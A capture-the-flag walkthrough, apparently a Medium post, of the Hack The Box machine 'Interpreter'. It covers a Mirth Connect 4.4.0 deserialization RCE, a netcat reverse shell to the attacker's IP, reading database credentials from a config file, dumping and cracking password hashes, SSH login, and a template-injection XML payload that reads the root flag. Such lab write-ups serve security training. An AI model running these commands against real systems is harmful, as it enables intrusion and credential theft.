Next, we perform a scan to identify open services.
nmap -sC -sV -Pn ipExplanation:
-sC runs default scripts for basic enumeration-sV detects service versions-Pn skips host discovery (useful in VPN environments like HTB)This indicates a web-based attack surface.
Accessing the website reveals a service running Mirth Connect.
We verify the API endpoint:
https://interpreter.htb/apiThe version is identified as:
4.4.0This version is vulnerable to a Java deserialization Remote Code Execution vulnerability.
The application accepts XML input and unsafely processes it, allowing arbitrary command execution.
We use a Python script to send a malicious payload.
python3 exploit.py -u https://interpreter.htb -c 'id'Explanation:
-u specifies the target URL-c defines the command to executeid confirms command execution on the targetSuccessful output confirms remote code execution.
We move from command execution to a full shell.
nc -lvnp 4444python3 exploit.py -u https://interpreter.htb -c 'nc -c sh 10.10.16.162 4444'This makes the target connect back to our machine.
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xtermThis improves shell interaction.
Join Medium for free to get updates from this writer.
We now have access as:
mirth@interpreterWe search for configuration files that may contain credentials.
cat /usr/local/mirthconnect/conf/mirth.propertiesThis file stores database connection details.
User: mirthdb
Pass: MirthPass123!
DB: mc_bdd_prodWe connect to the local database.
mysql -u mirthdb -p -h 127.0.0.1 mc_bdd_prodExplanation:
-u username-p prompts for password
-h specifies hostSELECT CONCAT(p.USERNAME, ':', pp.PASSWORD)
FROM PERSON p
JOIN PERSON_PASSWORD pp ON p.ID = pp.PERSON_ID;Output:
sedric:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==Decode the hash:
echo '<HASH>' | base64 -d | xxd -pThen format it for cracking and use hashcat:
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txtRecovered credentials:
sedric:snowflake1Login via SSH:
ssh [email protected]Use the cracked password.
cat user.txtWe enumerate running processes.
ps aux | grep pythonWe identify a root-owned script:
/usr/local/bin/notif.pyThis script listens on:
127.0.0.1:54321This means the service is only accessible locally.
We craft a malicious XML payload:
xml='<patient><firstname>{open("/root/root.txt").read()}</firstname><lastname>a</lastname><sender_app>a</sender_app><timestamp>a</timestamp><birth_date>01/01/2000</birth_date><gender>a</gender></patient>'Explanation:
{}printf "POST /addPatient HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/xml\r\nContent-Length: %d\r\n\r\n%s" "$(echo -n "$xml" | wc -c)" "$xml" | nc 127.0.0.1 54321Explanation:
printf builds a raw HTTP requestContent-Length ensures proper request formattingnc sends the request to the local serviceThe response contains the contents of:
cat /root/root.txtWeb Application → Mirth RCE → Shell as mirth
→ Config file → Database credentials
→ Crack password → SSH as sedric
→ Local service exploitation → Template Injection
→ Root access